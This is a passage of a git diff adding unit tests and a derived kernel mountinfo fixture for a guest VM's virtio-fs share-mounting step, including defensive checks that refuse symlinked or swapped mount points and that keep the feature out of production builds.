self.fake_sysfs(self.tags(ALL[:-1]) + ["src-9"], bus_devices=len(ALL)) # one tag swapped for another + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + + def test_a_missing_device_is_refused_even_when_the_bus_count_agrees(self): + self.fake_sysfs(self.tags(ALL[:-1]), bus_devices=len(ALL)) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + self.fake_sysfs(self.tags(ALL[:-1])) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + + def test_a_tag_published_twice_is_refused_even_when_the_bus_count_agrees(self): + self.fake_sysfs(self.tags(ALL) + [self.tags(ALL)[0]], bus_devices=len(ALL)) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + + def test_a_virtio_fs_device_that_published_no_tag_is_an_extra_device(self): + self.fake_sysfs(self.tags(ALL), bus_devices=len(ALL) + 1) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + self.fake_sysfs(self.tags(ALL), bus_devices=len(ALL) - 1) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + + def test_what_this_kernel_does_not_publish_is_refused(self): + self.fake_sysfs(self.tags(ALL), extra=["stray"]) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") # a non-index entry under the kset + for raw in (b"src-0", b"src-0\n\n", b"src-0 \n", b"SRC-0\n", b"\n", b"src-0\nx"): + with self.subTest(raw): + self.fake_sysfs([raw] + self.tags(ALL)[1:]) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") + shutil.rmtree(self.sys) + self.assertEqual(self.run_tool("inventory", self.sys, *ALL).strip(), "-1") # no virtio-fs driver at all + + # ---------------------------------------------------------------------------------------------- mountinfo + + def test_the_mount_table_is_parsed_as_the_kernel_prints_it(self): + path = self.dir / "mi" + path.write_text(BASE_TABLE + mountinfo_line(0, FOLDER, optional="shared:7 master:3")) + out = self.run_tool("find", path, f"@ROOT@/workspace/folders/notes").splitlines() + self.assertEqual(out[0], "1") + fields = dict(line.split("=", 1) for line in out[1:]) + self.assertEqual(fields, {"root": "/", "mount_point": "@ROOT@/workspace/folders/notes", "options": "rw,nosuid,nodev,relatime", "fstype": "virtiofs", "source": "src-0", "super": "rw,dax=never"}) + self.assertEqual(self.run_tool("find", path, "/proc").splitlines()[0], "1") + for broken in ("1 0 0:2 / / rw rootfs rootfs rw\n", "1 0 0:2 / / rw - rootfs rootfs\n", "1 0 0:2 / / rw - rootfs rootfs rw\n", "1 0 0:2 / / rw - rootfs rootfs rw", + "1 0 0:2 / / rw - rootfs rootfs rw \n", # a trailing space + "1 0 0:2 / / rw - rootfs rootfs rw extra\n", # a field after the super options + "1 0 0:2 / / rw shared:1 - rootfs rootfs\n"): # ten fields, but no super options after the separator + with self.subTest(broken): + path.write_text(broken) + self.assertEqual(self.run_tool("find", path, "/").splitlines()[0], "-1") + + def test_every_share_mounted_as_required_passes_the_check(self): + path = self.table(ALL) + for spec in ALL: + with self.subTest(spec): + self.assertEqual(self.run_tool("check", path, "@ROOT@" + share_fields(spec)[3], spec).strip(), "0") + + def test_every_departure_in_the_mount_table_fails_the_check(self): + cases = { + "fstype": (MEMORY, {"fstype": "tmpfs"}), "source": (MEMORY, {"source": "winter-outputs"}), "root": (MEMORY, {"root": "/sub"}), + "rw-for-ro": (GUIDANCE, {"options": "rw,nosuid,nodev,noexec,relatime"}), "ro-for-rw": (MEMORY, {"options": "ro,nosuid,nodev,noexec,relatime"}), + "no-nosuid": (MEMORY, {"options": "rw,nodev,noexec,relatime"}), "no-nodev": (MEMORY, {"options": "rw,nosuid,noexec,relatime"}), + "exec-winter": (MEMORY, {"options": "rw,nosuid,nodev,relatime"}), "noexec-folder": (FOLDER, {"options": "rw,nosuid,nodev,noexec,relatime"}), + "ro-folder-as-rw": (PHOTOS, {"options": "rw,nosuid,nodev,relatime"}), + "dax-always": (MEMORY, {"super": "rw,dax=always"}), "dax-inode": (MEMORY, {"super": "rw,dax=inode"}), "no-dax": (MEMORY, {"super": "rw"}), + "two-dax": (MEMORY, {"super": "rw,dax=never,dax=always"}), "bare-dax": (MEMORY, {"super": "rw,dax=never,dax"}), + } + for name, (spec, changes) in cases.items(): + with self.subTest(name): + path = self.dir / "mi" + path.write_text(BASE_TABLE + mountinfo_line(0, spec, **changes)) + self.assertEqual(self.run_tool("check", path, "@ROOT@" + share_fields(spec)[3], spec).strip(), "-1") + + def test_a_mount_over_or_a_second_mount_of_the_tag_fails_the_check(self): + path = self.dir / "mi" + path.write_text(BASE_TABLE + mountinfo_line(0, MEMORY) + "60 41 0:70 / @ROOT@/workspace/.winter/memory rw,nosuid,nodev - tmpfs tmpfs rw\n") + self.assertEqual(self.run_tool("check", path, "@ROOT@/workspace/.winter/memory", MEMORY).strip(), "-1") # something mounted over the share + path.write_text(BASE_TABLE + mountinfo_line(0, MEMORY) + mountinfo_line(1, MEMORY, mount_point="@ROOT@/workspace/repos")) + self.assertEqual(self.run_tool("check", path, "@ROOT@/workspace/.winter/memory", MEMORY).strip(), "-1") # the tag mounted a second time elsewhere + path.write_text(BASE_TABLE) + self.assertEqual(self.run_tool("check", path, "@ROOT@/workspace/.winter/memory", MEMORY).strip(), "-1") # nothing there + path.write_text(BASE_TABLE + "60 30 0:70 / @ROOT@/workspace/.winter/memory rw,nosuid,nodev - tmpfs tmpfs rw\n" + mountinfo_line(0, MEMORY)) + self.assertEqual(self.run_tool("check", path, "@ROOT@/workspace/.winter/memory", MEMORY).strip(), "-1") # a well-formed share over something already there + + def test_another_tag_or_filesystem_at_the_path_fails_even_when_the_tag_is_mounted_once_elsewhere(self): + elsewhere = mountinfo_line(1, MEMORY, mount_point="@ROOT@/workspace/repos") + for name, changes in (("source", {"source": "winter-outputs"}), ("fstype", {"fstype": "tmpfs"})): + with self.subTest(name): + path = self.dir / "mi" + path.write_text(BASE_TABLE + mountinfo_line(0, MEMORY, **changes) + elsewhere) + self.assertEqual(self.run_tool("check", path, "@ROOT@/workspace/.winter/memory", MEMORY).strip(), "-1") + + # ---------------------------------------------------------------------------------------------- mount points + + def test_the_winter_mount_points_are_the_skeletons_and_are_never_made_here(self): + for spec in (GUIDANCE, MEMORY, OUTPUTS): + with self.subTest(spec): + self.assertEqual(self.run_tool("point", self.root, spec).strip(), "0") + shutil.rmtree(self.root / "workspace/outputs") + self.assertEqual(self.run_tool("point", self.root, OUTPUTS).strip(), "-1") + self.assertFalse((self.root / "workspace/outputs").exists()) + + def test_a_folder_mount_point_is_made_once_root_only_below_workspace_folders_and_an_existing_one_is_left_as_it_is(self): + before = self.modes() + self.assertEqual(self.run_tool("point", self.root, FOLDER).strip(), "0") + self.assertEqual(stat.S_IMODE((self.root / "workspace/folders/notes").stat().st_mode), 0o700) + os.chmod(self.root / "workspace/folders/notes", 0o755) # a past boot's, whatever its mode: adopted, never chmodded + self.assertEqual(self.run_tool("point", self.root, FOLDER).strip(), "0") + self.assertEqual(stat.S_IMODE((self.root / "workspace/folders/notes").stat().st_mode), 0o755) + after = self.modes() + del after["workspace/folders/notes"] + self.assertEqual(after, before) + self.assertEqual(self.run_tool("point", self.root, "folder:0:src-0:/workspace/folders/a/b").strip(), "-1") + self.assertFalse((self.root / "workspace/folders/a").exists()) + + def test_a_link_or_a_file_on_the_way_is_refused_and_nothing_is_made_behind_it(self): + outside = self.dir / "outside" + outside.mkdir() + os.chmod(outside, 0o755) + (self.root / "workspace/folders/notes").symlink_to(outside) + self.assertEqual(self.run_tool("point", self.root, FOLDER).strip(), "-1") + (self.root / "workspace/folders/notes").unlink() + (self.root / "workspace/folders/notes").write_text("x") + self.assertEqual(self.run_tool("point", self.root, FOLDER).strip(), "-1") + (self.root / "workspace/folders/notes").unlink() + shutil.rmtree(self.root / "workspace/folders") + (self.root / "workspace/folders").symlink_to(outside) + self.assertEqual(self.run_tool("point", self.root, FOLDER).strip(), "-1") + self.assertEqual((list(outside.iterdir()), stat.S_IMODE(outside.stat().st_mode)), ([], 0o755)) + + def test_a_directory_on_the_way_that_is_not_pid_1s_is_refused(self): + env = dict(os.environ, SHARES_OWNER=str(os.getuid() + 1)) + self.assertEqual(self.run_tool("point", self.root, MEMORY, env=env).strip(), "-1") + self.assertEqual(self.run_tool("point", self.root, FOLDER, env=env).strip(), "-1") + self.assertFalse((self.root / "workspace/folders/notes").exists()) + + # ---------------------------------------------------------------------------------------------- the alias + + def test_the_guidance_alias_is_exactly_the_link_and_is_kept_across_boots(self): + self.assertEqual(self.run_tool("alias", self.root).strip(), "0") + alias = self.root / "workspace/.winter/WINTER.md" + self.assertTrue(alias.is_symlink()) + self.assertEqual(os.readlink(alias), "/run/winter/shared-instructions/WINTER.md") + self.assertEqual(self.run_tool("alias", self.root).strip(), "0") # the next boot finds it and keeps it + self.assertEqual(os.readlink(alias), "/run/winter/shared-instructions/WINTER.md") + + def test_anything_else_at_the_alias_is_refused_and_left_alone(self): + alias = self.root / "workspace/.winter/WINTER.md" + for make in (lambda: alias.symlink_to("/workspace/.winter/memory/WINTER.md"), lambda: alias.symlink_to("/run/winter/shared-instructions/WINTER.mdx"), + lambda: alias.write_text("guidance"), lambda: alias.mkdir()): + with self.subTest(make): + make() + self.assertEqual(self.run_tool("alias", self.root).strip(), "-1") + self.assertTrue(alias.is_symlink() or alias.exists()) + alias.rmdir() if alias.is_dir() and not alias.is_symlink() else alias.unlink() + shutil.rmtree(self.root / "workspace/.winter") + outside = self.dir / "elsewhere" + outside.mkdir() + (self.root / "workspace/.winter").symlink_to(outside) + self.assertEqual(self.run_tool("alias", self.root).strip(), "-1") + self.assertEqual(list(outside.iterdir()), []) + + # ---------------------------------------------------------------------------------------------- the whole step + + def step(self, specs, fail="-", table=None): + out = self.run_tool("step", self.root, self.sys, table or self.table(specs), fail, *specs).splitlines() + result = dict(part.split("=") for part in out[-1].split()) + return out[:-1], int(result["rc"]), int(result["mounted"]) + + def test_the_whole_step_mounts_every_share_checks_the_table_and_makes_the_alias_in_that_order(self): + self.fake_sysfs(self.tags(ALL)) + before = self.modes() + events, rc, mounted = self.step(ALL) + self.assertEqual((rc, mounted), (0, 0b11111)) + expected = [] + for spec in ALL: + kind, ro, tag, path = share_fields(spec) + flags = MS_NOSUID | MS_NODEV | (MS_RDONLY if ro else 0) | (MS_NOEXEC if kind != "folder" else 0) + expected.append((tag, "virtiofs", str(flags), "dax=never", (self.root / path.lstrip("/")).stat().st_ino)) + mounts = [event.split(" ") for event in events if event.startswith("mount ")] + self.assertEqual([(m[1], m[3], m[4], m[5], int(m[6].split("=")[1])) for m in mounts], expected) + # each target is the descriptor of the mount point the walk checked, never a path resolved again + self.assertTrue(all(re.fullmatch(r"/proc/self/fd/\d+", m[2]) for m in mounts), events) + self.assertEqual(events[-1], "mountinfo") + self.assertEqual(os.readlink(self.root / "workspace/.winter/WINTER.md"), "/run/winter/shared-instructions/WINTER.md") + after = self.modes() + for made in ("workspace/folders/notes", "workspace/folders/photos", "workspace/.winter/WINTER.md"): + del after[made] + self.assertEqual(after, before) # nothing that was there changed owner or mode + + def test_an_inventory_that_does_not_match_mounts_nothing_and_makes_nothing(self): + self.fake_sysfs(self.tags(ALL[:-1])) + before = self.modes() + events, rc, mounted = self.step(ALL) + self.assertEqual((events, rc, mounted), ([], 1, 0)) + self.assertEqual(self.modes(), before) + + def test_a_mount_that_fails_unmounts_what_was_mounted_last_first(self): + self.fake_sysfs(self.tags(ALL)) + events, rc, mounted = self.step(ALL, fail="mount:3") + self.assertEqual((rc, mounted), (2, 0)) + self.assertEqual([e for e in events if e.startswith("umount")], [f"umount {self.root}/workspace/folders/photos", f"umount {self.root}/workspace/folders/notes"]) + self.assertNotIn("mountinfo", events) + self.assertFalse((self.root / "workspace/.winter/WINTER.md").exists()) + + def test_what_the_rollback_could_not_unmount_is_reported_mounted(self): + self.fake_sysfs(self.tags(ALL)) + events, rc, mounted = self.step(ALL, fail="umount", table=self.table(ALL[:-1])) # the table lacks the last share + self.assertEqual((rc, mounted), (2, 0b11111)) + + def test_a_table_that_does_not_show_every_share_as_required_undoes_the_step(self): + self.fake_sysfs(self.tags(ALL)) + for name, table in (("missing", self.table(ALL[:-1])), ("dax", self.table(ALL, super="rw,dax=always")), ("unreadable", None)): + with self.subTest(name): + events, rc, mounted = self.step(ALL, fail="mountinfo" if table is None else "-", table=table or self.table(ALL)) + self.assertEqual((rc, mounted), (2, 0)) + self.assertEqual(len([e for e in events if e.startswith("umount")]), len(ALL)) + self.assertFalse((self.root / "workspace/.winter/WINTER.md").is_symlink()) + + def test_a_mount_point_that_is_not_in_place_mounts_nothing(self): + self.fake_sysfs(self.tags(ALL)) + shutil.rmtree(self.root / "workspace/outputs") + events, rc, mounted = self.step(ALL) + self.assertEqual((events, rc, mounted), ([], 2, 0)) + + def test_an_alias_that_cannot_be_made_undoes_the_step(self): + self.fake_sysfs(self.tags(ALL)) + (self.root / "workspace/.winter/WINTER.md").write_text("not the alias") + events, rc, mounted = self.step(ALL) + self.assertEqual((rc, mounted), (2, 0)) + self.assertEqual(len([e for e in events if e.startswith("umount")]), len(ALL)) + + def test_a_mount_point_swapped_after_the_walk_is_not_what_gets_mounted(self): + """The descriptor pins the directory the walk checked: what a path would name at mount time does not matter.""" + self.fake_sysfs(self.tags([FOLDER])) + point = self.root / "workspace/folders/notes" + point.mkdir() + checked = point.stat().st_ino + env = dict(os.environ, SHARES_SWAP=str(point)) + out = self.run_tool("step", self.root, self.sys, self.table([FOLDER]), "-", FOLDER, env=env).splitlines() + mount = next(event for event in out if event.startswith("mount ")) + self.assertNotEqual(point.stat().st_ino, checked) # the path now names another directory + self.assertEqual(int(mount.split(" ")[6].split("=")[1]), checked) # and the mount still landed on the checked one + self.assertNotIn(str(self.root), mount) + + def test_without_the_guidance_share_no_alias_is_made(self): + specs = [FOLDER, MEMORY] + self.fake_sysfs(self.tags(specs)) + events, rc, mounted = self.step(specs) + self.assertEqual((rc, mounted), (0, 0b11)) + self.assertFalse((self.root / "workspace/.winter/WINTER.md").exists()) + + # ---------------------------------------------------------------------------------------------- the source itself + + def test_nothing_in_the_share_step_changes_an_owner_a_mode_or_an_attribute(self): + code = re.sub(r"/\*.*?\*/", "", (INIT / "shares.c").read_text(), flags=re.S) + for needle in ("chown", "chmod", "setxattr", "utime", "truncate", "unlink", "rename", "umask(", "O_CREAT", "O_WRONLY", "O_RDWR"): + self.assertNotIn(needle, code, needle) + # the one directory it may make is a folder's mount point, and only through mkdirat in the descriptor walk + self.assertEqual(len(re.findall(r"\bmkdirat\(", code)), 1) + self.assertEqual(len(re.findall(r"\bsymlinkat\(", code)), 1) + + def test_the_derived_virtio_fs_table_passes_and_its_dax_line_is_what_the_check_needs(self): + """tests/virtiofs-mountinfo-v6.18.json: the table PID 1 should read, assembled from the v6.18 source of the functions that print it (NOT captured: G7 checks + the live table). Every share passes as it is, and fails once its DAX option is anything but `never`.""" + fixture = json.loads((HERE / "virtiofs-mountinfo-v6.18.json").read_text()) + self.assertIs(fixture["captured"], False) + self.assertEqual({entry["file"] for entry in fixture["derivedFrom"]}, {"fs/proc_namespace.c", "fs/fuse/inode.c", "fs/fuse/virtio_fs.c", "fs/fuse/dax.c"}) + path = self.dir / "fixture" + path.write_text("".join(line + "\n" for line in fixture["lines"])) + for spec in ALL: + with self.subTest(spec): + self.assertEqual(self.run_tool("check", path, share_fields(spec)[3], spec).strip(), "0") + for replacement in ("dax=always", "dax=inode", "dax"): + path.write_text("".join(line.replace("dax=never", replacement) + "\n" for line in fixture["lines"])) + for spec in ALL: + self.assertEqual(self.run_tool("check", path, share_fields(spec)[3], spec).strip(), "-1", (replacement, spec)) + + def test_the_check_for_any_filesystem_holds_its_data_option_to_one_value(self): + path = self.dir / "mi" + path.write_text(BASE_TABLE + mountinfo_line(0, MEMORY, fstype="tmpfs", super="rw,nr_inodes=4096,inode64")) + where = "@ROOT@/workspace/.winter/memory" + self.assertEqual(self.run_tool("checkas", path, where, MEMORY, "tmpfs", "winter-memory", "nr_inodes=4096").strip(), "0") + for fstype, source, data in (("tmpfs", "winter-memory", "nr_inodes=8192"), ("virtiofs", "winter-memory", "nr_inodes=4096"), ("tmpfs", "winter-outputs", "nr_inodes=4096"), + ("tmpfs", "winter-memory", "=4096")): + self.assertEqual(self.run_tool("checkas", path, where, MEMORY, fstype, source, data).strip(), "-1", (fstype, source, data)) + path.write_text(BASE_TABLE + mountinfo_line(0, MEMORY, fstype="tmpfs", super="rw,nr_inodes=4096,nr_inodes=8192")) + self.assertEqual(self.run_tool("checkas", path, where, MEMORY, "tmpfs", "winter-memory", "nr_inodes=4096").strip(), "-1") + + def test_the_helper_and_pid_1_read_the_same_share_set(self): + vectors = {v["name"]: bytes.fromhex(v["hex"]) for v in json.loads((ROOT / "vectors/mux-frames.json").read_text())["positive"]} + previous = gb.set_revision_three(True) + self.addCleanup(gb.set_revision_three, previous) + message = gb.parse_bootstrap_message(vectors["bootstrap-down-shares"][16:], "down") + out = self.run_tool("parse", gb.shares_payload(message).hex()).splitlines() + self.assertEqual(int(out[0]), len(message["shares"])) + self.assertEqual(out[1:], ["%s:%d:%s:%s" % (s["kind"], s["readOnly"], s["tag"], s["guestPath"]) for s in message["shares"]]) + self.assertEqual(self.run_tool("parse", "").strip(), "refused") + + +@unittest.skipUnless(CC, "no C compiler") +class BootShareTests(unittest.TestCase): + def test_every_native_case_passes(self): + folder = Path(tempfile.mkdtemp(prefix="guest-boot-shares-")) + self.addCleanup(shutil.rmtree, folder, ignore_errors=True) + binary = build([HERE / "test_boot_shares.c", INIT / "boot.c", INIT / "mounts.c", INIT / "ext4sb.c", INIT / "trusted_config.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], + folder / "test_boot_shares", extra=FLAG) + result = subprocess.run([str(binary)], capture_output=True, text=True, timeout=120) + failed = [line for line in result.stdout.splitlines() if line.startswith("FAIL") or line.startswith(" ")] + self.assertEqual(failed, [], result.stdout + result.stderr) + self.assertEqual(result.returncode, 0, result.stdout + result.stderr) + self.assertEqual(len(re.findall(r"^PASS ", result.stdout, flags=re.M)), 11) + + +class ProductionHasNoShareStepTests(unittest.TestCase): + """The share step is revision 3, which only an image that declares `file-channel-v1` speaks: every share name in a production source sits inside the gate, and the + production build lists neither shares.c nor shares.h.""" + NAMES = ("CTL_HELPER_SHARES", "CTL_SHARES_RESULT", "wg_share", "WG_SHARE", "WG_SHARES", "mount_shares", "umount_share", "shares_mounted", "shares_state", "shares.h", + "BQMECS", "SHARES_ROOT", "SHARES_SYS_ROOT", "MOUNTINFO_PATH", "virtiofs") + SOURCES = ("init/init_linux.c", "init/boot.c", "init/boot.h", "init/trusted_config.c", "init/trusted_config.h", "common/ctl.h", "common/wmx.c", "common/wmx.h", "relay/relay.c") + + def test_every_share_name_in_a_production_source_is_inside_the_gate(self): + from test_filechannel import ProductionHasNoFileChannelTests + scanner = ProductionHasNoFileChannelTests() + for relative in self.SOURCES: + for number, line in scanner.ungated_lines(relative): + for name in self.NAMES: + self.assertNotIn(name, line, f"{relative}:{number} names {name} outside WG_FILE_CHANNEL_V1") + + def test_the_share_paths_and_owner_are_the_real_ones_unless_the_native_test_build_overrides_them(self): + """SHARES_OWNER (and the three paths) exist for tests/linux_init_tool.c only: PID 1's walk accepts root's directories and nothing else, and the image build + passes no override (build.py, whose flags are the only ones the image's programs are compiled with).""" + init = (ROOT / "init/init_linux.c").read_text() + for name, value in (("SHARES_ROOT", ""), ("SHARES_SYS_ROOT", "/sys"), ("MOUNTINFO_PATH", "/proc/self/mountinfo")): + self.assertIn(f'#ifndef {name}\n#define {name} "{value}"\n#endif', init) + self.assertIn("#ifndef SHARES_OWNER\n#define SHARES_OWNER 0\n#endif", init) + self.assertEqual(len(re.findall(r"#define SHARES_OWNER\b", init)), 1) + self.assertIn("sop_read_mountinfo, (uid_t)SHARES_OWNER };", init) + build_py = (ROOT / "build.py").read_text() + self.assertNotRegex(build_py, r"SHARES_ROOT|SHARES_SYS_ROOT|MOUNTINFO_PATH|SHARES_OWNER") + self.assertNotIn("-D", re.search(r"COMMON_FLAGS = \[(.*?)\]", build_py).group(1)) + self.assertEqual(re.search(r'FILE_CHANNEL_FLAG = "(.*?)"', build_py).group(1), "-DWG_FILE_CHANNEL_V1") + + def test_pid_1_mounts_shares_only_as_virtio_fs_with_dax_never(self): + """wg_mount_shares_as (another filesystem type and data option) exists for the root-only CI test; PID 1 calls wg_mount_shares, which is virtiofs and dax=never.""" + init = re.sub(r"/\*.*?\*/", "", (ROOT / "init/init_linux.c").read_text(), flags=re.S) + self.assertNotIn("wg_mount_shares_as", init) + self.assertEqual(len(re.findall(r"\bwg_mount_shares\(", init)), 1) + shares = (INIT / "shares.c").read_text() + self.assertIn("return wg_mount_shares_as(ops, set, mounted, WG_SHARE_FSTYPE, WG_SHARE_MOUNT_DATA);", shares) + self.assertIn("return wg_mountinfo_entry_ok(text, length, where, share, WG_SHARE_FSTYPE, share->tag, WG_SHARE_MOUNT_DATA);", shares) + header = (INIT / "shares.h").read_text() + self.assertIn('#define WG_SHARE_FSTYPE "virtiofs"', header) + self.assertIn('#define WG_SHARE_MOUNT_DATA "dax=never"', header) + + def test_the_share_step_is_under_the_no_network_scan(self): + """test_hygiene.py's scan for any network bring-up (no socket, no AF_VSOCK, no interface) covers the new module too: shares are virtio-fs, never a NIC or vsock.""" + from test_hygiene import C_FILES + self.assertIn(INIT / "shares.c", C_FILES) + self.assertIn(INIT / "shares.h", C_FILES) + + def test_the_production_build_lists_neither_file(self): + build_py = (ROOT / "build.py").read_text() + programs = re.search(r"PROGRAMS = \{(.*?)\n\}", build_py, re.S).group(1) + headers = re.search(r"\nHEADERS = \[(.*?)\]", build_py, re.S).group(1) + self.assertNotIn("shares", programs + headers) + self.assertIn('"init/shares.c"', re.search(r"FILE_CHANNEL_PROGRAMS = \{(.*?)\n\}", build_py, re.S).group(1)) + self.assertIn('"init/shares.h"', re.search(r"FILE_CHANNEL_HEADERS = \[(.*?)\]", build_py, re.S).group(1)) + + +if __name__ == "__main__": + unittest.main() diff --git a/apple/Cowork/WinterCoworkGuest/tests/virtiofs-mountinfo-v6.18.json b/apple/Cowork/WinterCoworkGuest/tests/virtiofs-mountinfo-v6.18.json new file mode 100644 index 000000000..933404d2d --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/virtiofs-mountinfo-v6.18.json @@ -0,0 +1,51 @@ +{ + "what": "The mount table (/proc/self/mountinfo) PID 1 should read after the share step, for the five kinds of share, as Linux v6.18 prints it.", + "captured": false, + "provenance": "NOT captured from a running guest: no VM may be started from this lane. Each virtio-fs line is assembled from the v6.18 source of the functions that print it (below), with PID 1's mount flags. The live table of a booted guest is gate G7's check and replaces these lines then.", + "kernel": "Linux v6.18 tag (the guest kernel pin is 6.18.35; scripts/cowork-guest-artifact/kernel/base-apple-6.18.35.config has CONFIG_FUSE_DAX=y and CONFIG_VIRTIO_FS=y)", + "derivedFrom": [ + { + "file": "fs/proc_namespace.c", + "functions": "show_mountinfo, show_vfsmnt_opts", + "url": "https://raw.githubusercontent.com/torvalds/linux/v6.18/fs/proc_namespace.c", + "sha256": "fd82c0db52055ae807ee0b46c7c9bc5d47a9239805eb8ca5c47d2ba81d695776", + "says": "ID PARENT MAJ:MIN ROOT MOUNTPOINT then ro|rw and ,nosuid ,nodev ,noexec ,relatime (in that order), optional tags, ' - ', the type, the source (r->mnt_devname: virtio-fs has no show_devname), then ro|rw and the filesystem's show_options" + }, + { + "file": "fs/fuse/inode.c", + "functions": "fuse_show_options", + "url": "https://raw.githubusercontent.com/torvalds/linux/v6.18/fs/fuse/inode.c", + "sha256": "0fab2aac1d31eca9b214c2986722347769be28d8e8f43e8136d24c5ee9aa6499", + "says": "user_id, group_id and the other legacy options only when fc->legacy_opts_show; under CONFIG_FUSE_DAX, ',dax=never' when fc->dax_mode == FUSE_DAX_NEVER" + }, + { + "file": "fs/fuse/virtio_fs.c", + "functions": "virtio_fs_init_fs_context, virtio_fs_parse_param, virtio_fs_get_tree", + "url": "https://raw.githubusercontent.com/torvalds/linux/v6.18/fs/fuse/virtio_fs.c", + "sha256": "7f2cea3b37f661f29a39c28d3b0f3f0c92dc340ea47c912e5db27f6b82d7ee60", + "says": "the context is kzalloc'ed (legacy_opts_show false: no legacy options are printed); 'dax=never' parses to FUSE_DAX_NEVER; the source is the tag, and an unknown tag is -EINVAL" + }, + { + "file": "fs/fuse/dax.c", + "functions": "fuse_dax_conn_alloc", + "url": "https://raw.githubusercontent.com/torvalds/linux/v6.18/fs/fuse/dax.c", + "sha256": "84ce29f5380e6b3bf96ddd1af843f5b9efb9638481fc5425e79d483797c13859", + "says": "fc->dax_mode = dax_mode, before any DAX device check" + } + ], + "lines": [ + "1 1 0:2 / / rw - rootfs rootfs rw", + "15 1 0:5 / /dev rw,nosuid,noexec,relatime - devtmpfs devtmpfs rw,size=1000k,nr_inodes=250,mode=755", + "16 1 0:20 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw", + "17 1 0:21 / /sys rw,nosuid,nodev,noexec,relatime - sysfs sysfs rw", + "18 1 0:22 / /run rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,size=32768k", + "19 1 0:23 / /tmp rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,size=65536k", + "20 1 254:0 / /workspace rw,nosuid,nodev,noatime - ext4 /dev/vda rw,noinit_itable,errors=remount-ro", + "21 20 0:30 / /workspace/folders/notes rw,nosuid,nodev,relatime - virtiofs src-0 rw,dax=never", + "22 20 0:31 / /workspace/folders/photos ro,nosuid,nodev,relatime - virtiofs src-1 ro,dax=never", + "23 18 0:32 / /run/winter/shared-instructions ro,nosuid,nodev,noexec,relatime - virtiofs winter-guidance ro,dax=never", + "24 20 0:33 / /workspace/.winter/memory rw,nosuid,nodev,noexec,relatime - virtiofs winter-memory rw,dax=never", + "25 20 0:34 / /workspace/outputs rw,nosuid,nodev,noexec,relatime - virtiofs winter-outputs rw,dax=never" + ], + "contextLines": "Only the five virtio-fs lines are judged; the other lines (the pseudo-filesystems and the data volume, as PID 1 mounts them) are context, and their filesystem-specific options are illustrative." +} diff --git a/apple/Cowork/WinterCoworkGuest/vectors/PINS.json b/apple/Cowork/WinterCoworkGuest/vectors/PINS.json index ae90e7fee..8f8a397ea 100644 --- a/apple/Cowork/WinterCoworkGuest/vectors/PINS.json +++ b/apple/Cowork/WinterCoworkGuest/vectors/PINS.json @@ -1,23 +1,23 @@ { "files": { "bootstrap-order.json": { - "sha256": "36be531467c3ceb9d91f0f2cefb02ec40fba324878a021fe5247317a3c389ca4", - "sourceBranch": "cowork/n2-host-adapter", - "sourceCommit": "6c1f04e807df3a10579d6f14a15e39652bd1c7a6", + "sha256": "2475e6104387b901ff029cd0580849b5bc417a4aefd2e4a1b2019c45a1a0d2cb", + "sourceBranch": "cowork/output-integration", + "sourceCommit": "2e8c5a73ec0fbe4217d099a3ba624ee0a2380377", "sourcePath": "packages/core/test/cowork/native/vectors/bootstrap-order.json", "sourceRepository": "yanlingLabs/winter" }, "mux-frames.json": { - "sha256": "d80c4211b76f8b9074328ed57dc0f5a78b8bab9a3b6275aae850736c3bdf20e1", - "sourceBranch": "cowork/n2-host-adapter", - "sourceCommit": "6c1f04e807df3a10579d6f14a15e39652bd1c7a6", + "sha256": "851365e6db956810bfe33d2f006a953693a2c6b0f7568fca7d0bb926103dced3", + "sourceBranch": "cowork/output-integration", + "sourceCommit": "2e8c5a73ec0fbe4217d099a3ba624ee0a2380377", "sourcePath": "packages/core/test/cowork/native/vectors/mux-frames.json", "sourceRepository": "yanlingLabs/winter" }, "runtime-flow.json": { - "sha256": "c72950ed10d800447bb17bf14a6a076ddf995e4f9d4e2de968c8a218452727b7", - "sourceBranch": "cowork/n2-host-adapter", - "sourceCommit": "6c1f04e807df3a10579d6f14a15e39652bd1c7a6", + "sha256": "06c79a37d3f34ac6a5ec8045101267e12a57a1b54b698e3cf8718248801fc4b6", + "sourceBranch": "cowork/output-integration", + "sourceCommit": "2e8c5a73ec0fbe4217d099a3ba624ee0a2380377", "sourcePath": "packages/core/test/cowork/native/vectors/runtime-flow.json", "sourceRepository": "yanlingLabs/winter" }, @@ -30,5 +30,5 @@ } }, "formatVersion": 1, - "note": "The three S1 golden vectors are byte-identical copies of the contract branch (the guest copies the contract, never the other way round; edit nothing here, re-copy from the contract branch and update the pin in the same change). sdk-guided-config.json is not a contract file: it is derived from the agent SDK supervisor (see its entry)." + "note": "The three S1 golden vectors are byte-identical copies of the contract branch (the guest copies the contract, never the other way round; edit nothing here, re-copy from the contract branch and update the pin in the same change). They are the revision-3 copies (PR #115, re-pinned by FC3). sdk-guided-config.json is not a contract file: it is derived from the agent SDK supervisor (see its entry)." } diff --git a/apple/Cowork/WinterCoworkGuest/vectors/bootstrap-order.json b/apple/Cowork/WinterCoworkGuest/vectors/bootstrap-order.json index 178f6e43f..c16f42932 100644 --- a/apple/Cowork/WinterCoworkGuest/vectors/bootstrap-order.json +++ b/apple/Cowork/WinterCoworkGuest/vectors/bootstrap-order.json @@ -461,6 +461,338 @@ "index": 1, "reason": "out_of_order" } + }, + { + "name": "full-sequence-with-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "up", + "t": "runtime_ready" + } + ], + "result": { + "ok": true + } + }, + { + "name": "shares-without-conversations", + "events": 